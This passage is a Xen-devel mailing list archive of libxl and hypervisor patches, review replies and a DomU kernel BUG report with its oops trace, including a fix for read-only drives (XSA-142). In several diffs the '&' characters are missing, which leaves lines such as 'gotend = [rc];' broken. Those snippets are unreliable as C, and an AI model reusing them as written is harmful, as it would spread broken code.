: "file/stream write returned 0! writing %s%s%s", what ? what : "", 

[Xen-devel] [PATCH 4/4] libxl: fix places missed by spatch

[Wei Liu]

The spatch provided in previous patch didn't handle all sites that need
transformation.

Signed-off-by: Wei Liu 
---
 tools/libxl/libxl.c| 17 -
 tools/libxl/libxl_create.c |  4 ++--
 tools/libxl/libxl_pci.c| 39 ++-
 tools/libxl/libxl_x86.c| 10 +-
 4 files changed, 33 insertions(+), 37 deletions(-)

diff --git a/tools/libxl/libxl.c b/tools/libxl/libxl.c
index 9b2047f..3e356fc 100644
--- a/tools/libxl/libxl.c
+++ b/tools/libxl/libxl.c
@@ -1221,11 +1221,10 @@ static void domain_death_xswatch_callback(libxl__egc 
*egc, libxl__ev_xswatch *w,
 }
 gotend = [rc];
 
-LIBXL__LOG(CTX, LIBXL__LOG_DEBUG, "[evg=%p:%"PRIu32"]"
-   " nentries=%d rc=%d %ld..%ld",
-   evg, evg->domid, nentries, rc,
-   rc>0 ? (long)domaininfos[0].domain : 0,
-   rc>0 ? (long)domaininfos[rc-1].domain : 0);
+LOG(DEBUG, "[evg=%p:%"PRIu32"] nentries=%d rc=%d %ld..%ld",
+evg, evg->domid, nentries, rc,
+rc>0 ? (long)domaininfos[0].domain : 0,
+rc>0 ? (long)domaininfos[rc-1].domain : 0);
 
 for (;;) {
 if (!evg) {
@@ -1233,10 +1232,10 @@ static void domain_death_xswatch_callback(libxl__egc 
*egc, libxl__ev_xswatch *w,
 goto all_reported;
 }
 
-LIBXL__LOG(CTX, LIBXL__LOG_DEBUG, "[evg=%p:%"PRIu32"]"
-   "   got=domaininfos[%d] got->domain=%ld",
-   evg, evg->domid, (int)(got - domaininfos),
-   got < gotend ? (long)got->domain : -1L);
+LOG(DEBUG, "[evg=%p:%"PRIu32"]"
+"   got=domaininfos[%d] got->domain=%ld",
+evg, evg->domid, (int)(got - domaininfos),
+got < gotend ? (long)got->domain : -1L);
 
 if (!rc) {
 domain_death_occurred(egc, , "empty list");
diff --git a/tools/libxl/libxl_create.c b/tools/libxl/libxl_create.c
index 88cb93c..420358c 100644
--- a/tools/libxl/libxl_create.c
+++ b/tools/libxl/libxl_create.c
@@ -97,8 +97,8 @@ int libxl__domain_build_info_setdefault(libxl__gc *gc,
 if (rc < 0) {
 /* qemu-xen unavailable, use qemu-xen-traditional */
 if (errno == ENOENT) {
-LIBXL__LOG_ERRNO(CTX, XTL_VERBOSE, "qemu-xen is 
unavailable"
- ", use qemu-xen-traditional instead");
+LOGE(VERBOSE, "qemu-xen is unavailable"
+ ", use qemu-xen-traditional instead");
 b_info->device_model_version =
 LIBXL_DEVICE_MODEL_VERSION_QEMU_XEN_TRADITIONAL;
 } else {
diff --git a/tools/libxl/libxl_pci.c b/tools/libxl/libxl_pci.c
index ac7d83b..0650ea6 100644
--- a/tools/libxl/libxl_pci.c
+++ b/tools/libxl/libxl_pci.c
@@ -635,7 +635,6 @@ static int libxl__device_pci_assignable_add(libxl__gc *gc,
 libxl_device_pci *pcidev,
 int rebind)
 {
-libxl_ctx *ctx = libxl__gc_owner(gc);
 unsigned dom, bus, dev, func;
 char *spath, *driver_path = NULL;
 struct stat st;
@@ -655,16 +654,15 @@ static int libxl__device_pci_assignable_add(libxl__gc *gc,
 
 /* Check to see if it's already assigned to pciback */
 if ( pciback_dev_is_assigned(gc, pcidev) ) {
-LIBXL__LOG(ctx, LIBXL__LOG_WARNING, PCI_BDF" already assigned to 
pciback",
-   dom, bus, dev, func);
+LOG(WARN, PCI_BDF" already assigned to pciback",
+dom, bus, dev, func);
 return 0;
 }
 
 /* Check to see if there's already a driver that we need to unbind from */
 if ( sysfs_dev_unbind(gc, pcidev, _path ) ) {
-LIBXL__LOG(ctx, LIBXL__LOG_ERROR,
-   "Couldn't unbind "PCI_BDF" from driver",
-   dom, bus, dev, func);
+LOG(ERROR, "Couldn't unbind "PCI_BDF" from driver",
+dom, bus, dev, func);
 return ERROR_FAIL;
 }
 
@@ -673,9 +671,8 @@ static int libxl__device_pci_assignable_add(libxl__gc *gc,
 if ( driver_path ) {
 pci_assignable_driver_path_write(gc, pcidev, driver_path);
 } else {
-LIBXL__LOG(ctx, LIBXL__LOG_WARNING,
-   PCI_BDF" not bound to a driver, will not be rebound.",
-   dom, bus, dev, func);
+LOG(WARN, PCI_BDF" not bound to a driver, will not be rebound.",
+dom, bus, dev, func);
 }
 }
 
@@ -762,7 +759,6 @@ int libxl_device_pci_assignable_remove(libxl_ctx *ctx, 
libxl_device_pci *pcidev,
 */
 static int pci_multifunction_check(libxl__gc *gc, libxl_device_pci *pcidev, 
unsigned int *func_mask)
 {
-libxl_ctx *ctx = libxl__gc_owner(gc);
 struct dirent *de;
 DIR *dir;
 
@@ -791,8 +787,8 @@ static int 

[Xen-devel] [PATCH 3/4] libxl: map LIBXL__LOG_VERBOSE to XTL_VERBOSE

[Wei Liu]

There is code in libxl using XTL_VERBOSE. We should provide a libxl
mapping for it.

Signed-off-by: Wei Liu 
---
 tools/libxl/libxl_internal.h | 1 +
 1 file changed, 1 insertion(+)

diff --git a/tools/libxl/libxl_internal.h b/tools/libxl/libxl_internal.h
index 5fa55a7..070b7d3 100644
--- a/tools/libxl/libxl_internal.h
+++ b/tools/libxl/libxl_internal.h
@@ -1634,6 +1634,7 @@ _hidden const libxl_vnc_info *libxl__dm_vnc(const 
libxl_domain_config *g_cfg);
 _hidden char *libxl__abs_path(libxl__gc *gc, const char *s, const char *path);
 
 #define LIBXL__LOG_DEBUG   XTL_DEBUG
+#define LIBXL__LOG_VERBOSE XTL_VERBOSE
 #define LIBXL__LOG_INFOXTL_INFO
 #define LIBXL__LOG_WARNING XTL_WARN
 #define LIBXL__LOG_ERROR   XTL_ERROR
-- 
2.1.4


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH v2 for-4.6] libxl: handle read-only drives with qemu-xen

[Stefano Stabellini]

The current libxl code doesn't deal with read-only drives at all.

Upstream QEMU and qemu-xen only support read-only cdrom drives: make
sure to specify "readonly=on" for cdrom drives and return error in case
the user requested a non-cdrom read-only drive.

This is XSA-142, discovered by Lin Liu
(https://bugzilla.redhat.com/show_bug.cgi?id=1257893).

Signed-off-by: Stefano Stabellini 
---
XSA-142 is still unissued at this time
---
 tools/libxl/libxl_dm.c |   13 +
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/tools/libxl/libxl_dm.c b/tools/libxl/libxl_dm.c
index 02c0162..468ff9c 100644
--- a/tools/libxl/libxl_dm.c
+++ b/tools/libxl/libxl_dm.c
@@ -1110,13 +1110,18 @@ static int libxl__build_device_model_args_new(libxl__gc 
*gc,
 if (disks[i].is_cdrom) {
 if (disks[i].format == LIBXL_DISK_FORMAT_EMPTY)
 drive = libxl__sprintf
-(gc, 
"if=ide,index=%d,media=cdrom,cache=writeback,id=ide-%i",
- disk, dev_number);
+(gc, 
"if=ide,index=%d,readonly=%s,media=cdrom,cache=writeback,id=ide-%i",
+ disk, disks[i].readwrite ? "off" : "on", dev_number);
 else
 drive = libxl__sprintf
-(gc, 
"file=%s,if=ide,index=%d,media=cdrom,format=%s,cache=writeback,id=ide-%i",
- disks[i].pdev_path, disk, format, dev_number);
+(gc, 
"file=%s,if=ide,index=%d,readonly=%s,media=cdrom,format=%s,cache=writeback,id=ide-%i",
+ disks[i].pdev_path, disk, disks[i].readwrite ? "off" 
: "on", format, dev_number);
 } else {
+if (!disks[i].readwrite) {
+LIBXL__LOG(ctx, LIBXL__LOG_ERROR, "qemu-xen doesn't 
support read-only disk drivers");
+return ERROR_INVAL;
+}
+
 if (disks[i].format == LIBXL_DISK_FORMAT_EMPTY) {
 LIBXL__LOG(ctx, LIBXL__LOG_WARNING, "cannot support"
" empty disk format for %s", disks[i].vdev);
-- 
1.7.10.4

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PULL 21/29] xen/pt: Sync up the dev.config and data values.

[Stefano Stabellini]

CC Konrad

On Mon, 14 Sep 2015, Paolo Bonzini wrote:
> On 10/09/2015 19:15, Stefano Stabellini wrote:
> > +
> > +switch (reg->size) {
> > +case 1: rc = xen_host_pci_get_byte(>real_device, offset, 
> > (uint8_t *));
> 
> A bit ugly, and it relies on the host being little endian.
> 
> > +break;
> > +case 2: rc = xen_host_pci_get_word(>real_device, offset, 
> > (uint16_t *));
> 
> Same here.

cpu_to_le32?

But in practice, Xen being little endian only, I doubt that xen_pt_config_init.c
would actually work on be.


> > +break;
> > +case 4: rc = xen_host_pci_get_long(>real_device, offset, );
> > +break;
> > +default: assert(1);
> 
> This should be assert(0) or, better, abort().

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 1/7] tools/hotplug: remove SELinux options from var-lib-xenstored.mount

[George Dunlap]

On Mon, Sep 14, 2015 at 7:33 PM, Olaf Hering  wrote:
> On Mon, Sep 14, George Dunlap wrote:
>
>> Well if you "know nothing about SELinux", and you don't use it, and
>> don't have any test systems that use it, then why did you assert
>> "The proper place to specify [an SELinux mount context] is /etc/fstab"?
>>  This patchset was accepted because you represented it as the "right"
>> way of doing things.
>
> Because at that time the way SELinux was handled failed on systems which
> had SELinux disabled, or which did not recognize the option.
> And I still think that mount options have to go into fstab.

It's very reasonable for you to expect it to be fixed on non-SELinux
systems.  But what you did is fix it for non-SELinux systems by simply
breaking it on SELinux systems -- that's not at all reasonable.

And I'm not really familiar enough with the standards around fstab and
whatever to have a strong opinion on the "right" way to do things; but
"fiddle with fstab and pray that the added lines fit the system
policies" is definitely not my idea of the Right Way to do things.

In any case, it looks like adding manual mount options isn't actually
the Right Way to do fix things for SELinux, no matter where you put
them -- it requires your mount options to be kept in sync with the
global SELinux policy, which is more fragile.  The way most other
tmpfs things get dealt with, as I said, is running "restorecon", which
updates labels from the master SELinux policy.

 -George

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH] libxl: slightly refine pci-assignable-{add, remove} handling

[Ian Campbell]

On Mon, 2015-09-14 at 10:50 +0100, George Dunlap wrote:
> On Thu, Sep 10, 2015 at 1:36 PM, Jan Beulich  wrote:
> > While it appears to be intentional for "xl pci-assignable-remove" to
> > not re-bind the original driver by default (requires the -r option),
> > permanently losing the information which driver was originally used
> > seems bad. Make "add; remove; add; remove -r" re-bind the original
> > driver by allowing "remove" to delete the information only upon
> > successful re-bind.
> 
> I would be open to the argument that I was being overly paranoid in
> making "xl pci-assignable-remove" not re-bind by default.  But either
> way:
> 
> Reviewed-by: George Dunlap 

The use of "rc" to hold a non-libxl error code (0 or -1 in this case) in
_add is not allowed by libxl coding style, but is consistent with the same
thing existing in _remove, also this code is mostly in hypervisor coding
style so it seems tolerable for this new code to be so too.

Acked-by: Ian Campbell 

> > In the course of this I also noticed that binding information is lost
> > when upon first "add" pciback isn't loaded yet, due to its presence not
> > being checked for early enough. Adjust pciback_dev_is_assigned()
> > accordingly, and properly distinguish "yes" and "error" returns in the
> > "add" case (removing a redundant error message from the "remove" path
> > for consistency).
> > 
> > Signed-off-by: Jan Beulich 
> > ---
> > As to 4.6 I'm not overly fussed: It'd be nice, but it could easily be
> > backported later on.
> 
> I wouldn't really consider this a bug fix, but an improvement.  As
> such, I don't think it should be given a freeze exception, and my
> inclination would be to say that it shouldn't be backported.  But the
> strength of my opinion isn't very strong.

I wouldn't argue either way.

Ian.

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH] xl: tighten parsing of "irq" and "iomem" list elements

[Ian Campbell]

On Mon, 2015-09-14 at 07:53 -0600, Jan Beulich wrote:
> While "ioport" list element parsing already validates that the entire
> input string got consumed, its two siblings so far didn't.
> 
> Signed-off-by: Jan Beulich 

Acked-by: Ian Campbell 


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH] xen/arm: hvm_domain drop unused field instropection_enabled

[Ian Campbell]

On Mon, 2015-09-14 at 16:30 +0100, Julien Grall wrote:
> Signed-off-by: Julien Grall 

Acked-by: Ian Campbell 



___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 1/2] xen, libxc: Introduced XEN_DOMCTL_emulate_each_rep

[Ian Campbell]

On Tue, 2015-09-15 at 12:19 +0300, Razvan Cojocaru wrote:
> Previously, if vm_event emulation support was enabled, then REP
> optimizations were disabled when emulating REP-compatible
> instructions. This patch allows fine-tuning of this behaviour by
> providing a dedicated libxc helper function.
> 
> Signed-off-by: Razvan Cojocaru 

Tools side is trivial and correct, so assuming the interface is agreed by
the hypervisor guys:
Acked-by: Ian Campbell 


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 4/4] tools/xen-mceinj: Pass in GPA when injecting through MSR_MCI_ADDR

[Egger, Christoph]

On 2015/09/15 12:02, Wei Liu wrote:
> I don't know this piece of code so my comments might be stupid.
> 
> On Tue, Sep 15, 2015 at 04:29:40PM +0800, Haozhong Zhang wrote:
>> This patch removes the address translation in xen-mceinj which
>> translates the guest physical address passed-in through the argument
>> of '-p' to the host machine address.
>>
> 
> Is the translation functionality broken or superseded by hardware
> support? What is the reason for removing this piece of (working?) code?

Neither nor. The translation done in xen-mceinj.c doesn't deal with
memory addresses above 4G. The fix is to let the hypervisor do the
translation.

Christoph

> 
> (I haven't looked at the code)
> 
> Wei.
> 

Amazon Development Center Germany GmbH
Krausenstr. 38
10117 Berlin
Geschaeftsfuehrer: Dr. Ralf Herbrich, Christian Schlaeger
Ust-ID: DE289237879
Eingetragen am Amtsgericht Charlottenburg HRB 149173 B


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 0/4] libxl: use LOG() macro where appropriate

[Ian Campbell]

On Tue, 2015-09-15 at 15:50 +0100, Ian Jackson wrote:
> Wei Liu writes ("[PATCH 0/4] libxl: use LOG() macro where appropriate"):
> > There are mixed usage of different logging macros. Ideally we only use
> > one
> > style to avoid confusion.
> 
> All four
> 
> Acked-by: Ian Jackson 

In terms of applying it seems like the sort of thing which would cause a
lot of pain for backports to 4.6. Shall we hold off or do we think the
inflow of backports has slowed sufficiently now?

Ian.


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 1/4] libxl: convert to use LOG() macro

[Wei Liu]

On Tue, Sep 15, 2015 at 04:12:57PM +0100, Andrew Cooper wrote:
> On 15/09/15 10:41, Wei Liu wrote:
> > @@ -440,15 +436,18 @@ int libxl__domain_rename(libxl__gc *gc, uint32_t 
> > domid,
> >  if (old_name) {
> >  got_old_name = xs_read(ctx->xsh, trans, name_path, _old_len);
> >  if (!got_old_name) {
> > -LIBXL__LOG_ERRNOVAL(ctx, LIBXL__LOG_ERROR, errno, "check old 
> > name"
> > -" for domain %"PRIu32" allegedly named `%s'",
> > -domid, old_name);
> > +LOGEV(ERROR, errno,
> > +  "check old name"" for domain %"PRIu32" allegedly named 
> > `%s'",
> > +  domid,
> > +  old_name);
> 
> There are a number of entries like this where the number of lines could
> be reduced.

Urgh, it was generated by spatch. I would certainly rather not going
over all instances for such kind of things -- that voids the point of
using spatch in the first place.

If there is a knob to control spatch to then I would be happy to use it.
Otherwise I will just leave it as it is.

> 
> > @@ -669,16 +678,22 @@ int libxl_domain_info(libxl_ctx *ctx, libxl_dominfo 
> > *info_r,
> >uint32_t domid) {
> >  xc_domaininfo_t xcinfo;
> >  int ret;
> > +GC_INIT(ctx);
> >  
> >  ret = xc_domain_getinfolist(ctx->xch, domid, 1, );
> >  if (ret<0) {
> > -LIBXL__LOG_ERRNO(ctx, LIBXL__LOG_ERROR, "getting domain info 
> > list");
> > +LOGE(ERROR, "getting domain info list");
> > +GC_FREE;
> >  return ERROR_FAIL;
> >  }
> > -if (ret==0 || xcinfo.domain != domid) return ERROR_DOMAIN_NOTFOUND;
> > +if (ret==0 || xcinfo.domain != domid) {
> > +   GC_FREE;
> > +return ERROR_DOMAIN_NOTFOUND;
> > +}
> 

Nice catch. Will fix this.

Wei.

> Alignment.
> 
> ~Andrew

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 1/2] xen, libxc: Introduced XEN_DOMCTL_emulate_each_rep

[Julien Grall]

Hi Razvan,

On 15/09/15 10:19, Razvan Cojocaru wrote:
> diff --git a/xen/common/domctl.c b/xen/common/domctl.c
> index 9e0fef5..214a22a 100644
> --- a/xen/common/domctl.c
> +++ b/xen/common/domctl.c
> @@ -1180,6 +1180,11 @@ long do_domctl(XEN_GUEST_HANDLE_PARAM(xen_domctl_t) 
> u_domctl)
>  copyback = 1;
>  break;
>  
> +case XEN_DOMCTL_emulate_each_rep:
> +d->arch.hvm_domain.emulate_each_rep = !!op->u.emulate_each_rep.op;

The common code should never access directly to an arch field.

Actually this will break on ARM because you introduced the field only
for x86.

Please move this new domctl in arch_do_domctl.

> +ret = 0;
> +break;
> +
>  default:
>  ret = arch_do_domctl(op, d, u_domctl);
>  break;
> diff --git a/xen/include/asm-x86/hvm/domain.h 
> b/xen/include/asm-x86/hvm/domain.h
> index 992d5d1..b8fbe5e 100644
> --- a/xen/include/asm-x86/hvm/domain.h
> +++ b/xen/include/asm-x86/hvm/domain.h
> @@ -136,6 +136,7 @@ struct hvm_domain {
>  bool_t mem_sharing_enabled;
>  bool_t qemu_mapcache_invalidate;
>  bool_t is_s3_suspended;
> +bool_t emulate_each_rep;
>  
>  /*
>   * TSC value that VCPUs use to calculate their tsc_offset value.
> diff --git a/xen/include/public/domctl.h b/xen/include/public/domctl.h
> index 794d4d5..efc42a8 100644
> --- a/xen/include/public/domctl.h
> +++ b/xen/include/public/domctl.h
> @@ -1063,6 +1063,12 @@ struct xen_domctl_psr_cat_op {
>  typedef struct xen_domctl_psr_cat_op xen_domctl_psr_cat_op_t;
>  DEFINE_XEN_GUEST_HANDLE(xen_domctl_psr_cat_op_t);
>  
> +struct xen_domctl_emulate_each_rep {
> +int32_t op;
> +};
> +typedef struct xen_domctl_emulate_each_rep xen_domctl_emulate_each_rep_t;
> +DEFINE_XEN_GUEST_HANDLE(xen_domctl_emulate_each_rep_t);
> +
>  struct xen_domctl {
>  uint32_t cmd;
>  #define XEN_DOMCTL_createdomain   1
> @@ -1140,6 +1146,7 @@ struct xen_domctl {
>  #define XEN_DOMCTL_monitor_op77
>  #define XEN_DOMCTL_psr_cat_op78
>  #define XEN_DOMCTL_soft_reset79
> +#define XEN_DOMCTL_emulate_each_rep  80
>  #define XEN_DOMCTL_gdbsx_guestmemio1000
>  #define XEN_DOMCTL_gdbsx_pausevcpu 1001
>  #define XEN_DOMCTL_gdbsx_unpausevcpu   1002
> @@ -1202,6 +1209,7 @@ struct xen_domctl {
>  struct xen_domctl_psr_cmt_oppsr_cmt_op;
>  struct xen_domctl_monitor_opmonitor_op;
>  struct xen_domctl_psr_cat_oppsr_cat_op;
> +struct xen_domctl_emulate_each_rep  emulate_each_rep;

IHMO this should be exposed only for x86 as we don't have a such
instruction on ARM.

>  uint8_t pad[128];
>  } u;
>  };
> 

Regards,

-- 
Julien Grall

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] DomU: kernel BUG at arch/x86/xen/enlighten.c:425

[Thomas DEBESSE]

Hi, I'm replying to this thread from 2013:
http://lists.xen.org/archives/html/xen-devel/2013-03/threads.html#00649

Like James Sinclair, all I could find is a closed Debian bug from Dec 2010
with no resolution:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=60770

Do you have some news about this bug?

I got it too with a 3.16 kernel on Debian:

Sep 15 16:57:14 server kernel: [   19.87] [ cut here
]
Sep 15 16:57:14 server kernel: [   19.844468] kernel BUG at
/build/linux-sPqfgd/linux-3.16.7-ckt11/arch/x86/xen/enlighten.c:494!
Sep 15 16:57:14 server kernel: [   19.844479] invalid opcode:  [#1] SMP
Sep 15 16:57:14 server kernel: [   19.844487] Modules linked in: fuse nfsd
auth_rpcgss oid_registry nfs_acl nfs lockd fscache sunrpc evdev coretemp
pcspkr ext4 crc16 mbcache jbd2 dm_mod md_mod xen_netfront xen_blkfront
Sep 15 16:57:14 server kernel: [   19.844519] CPU: 1 PID: 930 Comm: cmd Not
tainted 3.16.0-4-686-pae #1 Debian 3.16.7-ckt11-1
Sep 15 16:57:14 server kernel: [   19.844529] task: e8ba4560 ti: c29f8000
task.ti: c29f8000
Sep 15 16:57:14 server kernel: [   19.844535] EIP: 0061:[]
EFLAGS: 00010282 CPU: 1
Sep 15 16:57:14 server kernel: [   19.844545] EIP is at
set_aliased_prot+0x10d/0x120
Sep 15 16:57:14 server kernel: [   19.844551] EAX: ffea EBX: ede01000
ECX: cc5ae063 EDX: 8000
Sep 15 16:57:14 server kernel: [   19.844558] ESI:  EDI: 8001
EBP: c29f9dbc ESP: c29f9d98
Sep 15 16:57:14 server kernel: [   19.844564]  DS: 007b ES: 007b FS: 00d8
GS: 00e0 SS: 0069
Sep 15 16:57:14 server kernel: [   19.844570] CR0: 8005003b CR2: 00111484
CR3: 029ab000 CR4: 2660
Sep 15 16:57:14 server kernel: [   19.844578] Stack:
Sep 15 16:57:14 server kernel: [   19.844582]  8000 cc5ae063 001f3c8a
ede01000 ecac2140 0001 ede02000 0400
Sep 15 16:57:14 server kernel: [   19.844594]   c29f9dd0 c1003781
c2831ac0 e8892010 c2831ac0 c29f9ddc c10122be
Sep 15 16:57:14 server kernel: [   19.844606]   c29f9e00 c1053fa6
c29f9df0 c1002e90 e8ba4560 ecdcf8c0 
Sep 15 16:57:14 server kernel: [   19.844618] Call Trace:
Sep 15 16:57:14 server kernel: [   19.844628]  [] ?
xen_free_ldt+0x31/0x40
Sep 15 16:57:14 server kernel: [   19.844640]  [] ?
destroy_context+0x2e/0x90
Sep 15 16:57:14 server kernel: [   19.844651]  [] ?
__mmdrop+0x26/0x90
Sep 15 16:57:14 server kernel: [   19.844659]  [] ?
xen_end_context_switch+0x10/0x20
Sep 15 16:57:14 server kernel: [   19.844668]  [] ?
finish_task_switch+0x9f/0xd0
Sep 15 16:57:14 server kernel: [   19.844677]  [] ?
__schedule+0x230/0x6e0
Sep 15 16:57:14 server kernel: [   19.844685]  [] ?
__sb_end_write+0x31/0x70
Sep 15 16:57:14 server kernel: [   19.844694]  [] ?
pipe_write+0x34c/0x3d0
Sep 15 16:57:14 server kernel: [   19.844703]  [] ?
_raw_spin_lock_irqsave+0x19/0x40
Sep 15 16:57:14 server kernel: [   19.844713]  [] ?
_raw_spin_unlock_irqrestore+0x13/0x20
Sep 15 16:57:14 server kernel: [   19.844723]  [] ?
prepare_to_wait+0x48/0x70
Sep 15 16:57:14 server kernel: [   19.844732]  [] ?
pipe_wait+0x4d/0x80
Sep 15 16:57:14 server kernel: [   19.844740]  [] ?
prepare_to_wait_event+0xd0/0xd0
Sep 15 16:57:14 server kernel: [   19.844749]  [] ?
pipe_read+0x151/0x260
Sep 15 16:57:14 server kernel: [   19.844758]  [] ?
new_sync_read+0x66/0xa0
Sep 15 16:57:14 server kernel: [   19.844766]  [] ?
default_llseek+0x170/0x170
Sep 15 16:57:14 server kernel: [   19.844774]  [] ?
vfs_read+0x80/0x150
Sep 15 16:57:14 server kernel: [   19.844780]  [] ?
SyS_read+0x46/0x90
Sep 15 16:57:14 server kernel: [   19.844789]  [] ?
sysenter_do_call+0x12/0x12
Sep 15 16:57:14 server kernel: [   19.844794] Code: 2e 83 c4 18 5b 5e 5f 5d
c3 90 8d 74 26 00 83 3d d4 92 76 c1 02 75 c8 8d b4 26 00 00 00 00 e8 2b 5e
13 00 83 c4 18 5b 5e 5f 5d c3 <0f> 0b 0f 0b 0f 0b 8d b6 00 00 00 00 8d bc
27 00 00 00 00 55 89
Sep 15 16:57:14 server kernel: [   19.844868] EIP: []
set_aliased_prot+0x10d/0x120 SS:ESP 0069:c29f9d98
Sep 15 16:57:14 server kernel: [   19.844882] ---[ end trace
5b8a5a9c639bac8c ]---

The message above is from DomU kernel. In fact, when I get this message,
I'm lucky: it means the error was handled without crashing. Most of the
case the vm just reboot itself before logging or printing any message at
all.
On Dom0 side, `xl dmesg` shows nothing.

I downgraded my DomU kernel to 3.2 and it seems to work for now but it's
not a fix.

I was running xen 4.4.1-9 and linux 3.16.7-ckt11-1 (686-pae) from Debian.

I don't have more information, at all.

-- 
Thomas DEBESSE
___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH] libxl: open libxl log stream with libvirtd log_level

[Jim Fehlig]

Instead of a hardcoded DEBUG log level, use the overall
daemon log level specified in libvirtd.conf when opening
a log stream with libxl. libxl is very verbose when DEBUG
log level is set, resulting in huge log files that can
potentially fill a disk. Control of libxl verbosity should
be placed in the administrator's hands.

Signed-off-by: Jim Fehlig 
---
 src/libxl/libxl_conf.c | 18 +-
 1 file changed, 17 insertions(+), 1 deletion(-)

diff --git a/src/libxl/libxl_conf.c b/src/libxl/libxl_conf.c
index a76ad5a..40fa4b5 100644
--- a/src/libxl/libxl_conf.c
+++ b/src/libxl/libxl_conf.c
@@ -1496,6 +1496,7 @@ libxlDriverConfigNew(void)
 {
 libxlDriverConfigPtr cfg;
 char *log_file = NULL;
+xentoollog_level log_level;
 char ebuf[1024];
 unsigned int free_mem;
 
@@ -1540,9 +1541,24 @@ libxlDriverConfigNew(void)
 }
 VIR_FREE(log_file);
 
+switch (virLogGetDefaultPriority()) {
+case VIR_LOG_DEBUG:
+log_level = XTL_DEBUG;
+break;
+case VIR_LOG_INFO:
+log_level = XTL_INFO;
+break;
+case VIR_LOG_WARN:
+log_level = XTL_WARN;
+break;
+case VIR_LOG_ERROR:
+log_level = XTL_ERROR;
+break;
+}
+
 cfg->logger =
 (xentoollog_logger *)xtl_createlogger_stdiostream(cfg->logger_file,
-  XTL_DEBUG, XTL_STDIOSTREAM_SHOW_DATE);
+  log_level, XTL_STDIOSTREAM_SHOW_DATE);
 if (!cfg->logger) {
 VIR_ERROR(_("cannot create logger for libxenlight, disabling driver"));
 goto error;
-- 
2.5.0


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] DomU: kernel BUG at arch/x86/xen/enlighten.c:425

[Thomas DEBESSE]

2015-09-15 18:09 GMT+02:00 Andrew Cooper :

> The instantiation of HYPERVISOR_update_va_mapping() in set_aliased_prot()
> has always been buggy in pvops kernels.
>
> This bug should be fixed by c/s 0b0e55 "x86/xen: Probe target addresses in
> set_aliased_prot before the hypercall" which is in the process of being
> backported to #stable as a prerequisite for the recent LDT CVE fixes.
>
> ~Andrew
>

OK thanks, I will stick with the 3.2 kernel for the moment, it seems to
work with it.
I don't know why, but only one vm seems to be affected (and they all are
built the same way).

-- 
Thomas DEBESSE
___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 1/2] xen, libxc: Introduced XEN_DOMCTL_emulate_each_rep

[Razvan Cojocaru]

On 09/15/2015 06:36 PM, Julien Grall wrote:
> Hi Razvan,
> 
> On 15/09/15 10:19, Razvan Cojocaru wrote:
>> diff --git a/xen/common/domctl.c b/xen/common/domctl.c
>> index 9e0fef5..214a22a 100644
>> --- a/xen/common/domctl.c
>> +++ b/xen/common/domctl.c
>> @@ -1180,6 +1180,11 @@ long do_domctl(XEN_GUEST_HANDLE_PARAM(xen_domctl_t) 
>> u_domctl)
>>  copyback = 1;
>>  break;
>>  
>> +case XEN_DOMCTL_emulate_each_rep:
>> +d->arch.hvm_domain.emulate_each_rep = !!op->u.emulate_each_rep.op;
> 
> The common code should never access directly to an arch field.
> 
> Actually this will break on ARM because you introduced the field only
> for x86.
> 
> Please move this new domctl in arch_do_domctl.

Of course, thanks for pointing that out!

>> +ret = 0;
>> +break;
>> +
>>  default:
>>  ret = arch_do_domctl(op, d, u_domctl);
>>  break;
>> diff --git a/xen/include/asm-x86/hvm/domain.h 
>> b/xen/include/asm-x86/hvm/domain.h
>> index 992d5d1..b8fbe5e 100644
>> --- a/xen/include/asm-x86/hvm/domain.h
>> +++ b/xen/include/asm-x86/hvm/domain.h
>> @@ -136,6 +136,7 @@ struct hvm_domain {
>>  bool_t mem_sharing_enabled;
>>  bool_t qemu_mapcache_invalidate;
>>  bool_t is_s3_suspended;
>> +bool_t emulate_each_rep;
>>  
>>  /*
>>   * TSC value that VCPUs use to calculate their tsc_offset value.
>> diff --git a/xen/include/public/domctl.h b/xen/include/public/domctl.h
>> index 794d4d5..efc42a8 100644
>> --- a/xen/include/public/domctl.h
>> +++ b/xen/include/public/domctl.h
>> @@ -1063,6 +1063,12 @@ struct xen_domctl_psr_cat_op {
>>  typedef struct xen_domctl_psr_cat_op xen_domctl_psr_cat_op_t;
>>  DEFINE_XEN_GUEST_HANDLE(xen_domctl_psr_cat_op_t);
>>  
>> +struct xen_domctl_emulate_each_rep {
>> +int32_t op;
>> +};
>> +typedef struct xen_domctl_emulate_each_rep xen_domctl_emulate_each_rep_t;
>> +DEFINE_XEN_GUEST_HANDLE(xen_domctl_emulate_each_rep_t);
>> +
>>  struct xen_domctl {
>>  uint32_t cmd;
>>  #define XEN_DOMCTL_createdomain   1
>> @@ -1140,6 +1146,7 @@ struct xen_domctl {
>>  #define XEN_DOMCTL_monitor_op77
>>  #define XEN_DOMCTL_psr_cat_op78
>>  #define XEN_DOMCTL_soft_reset79
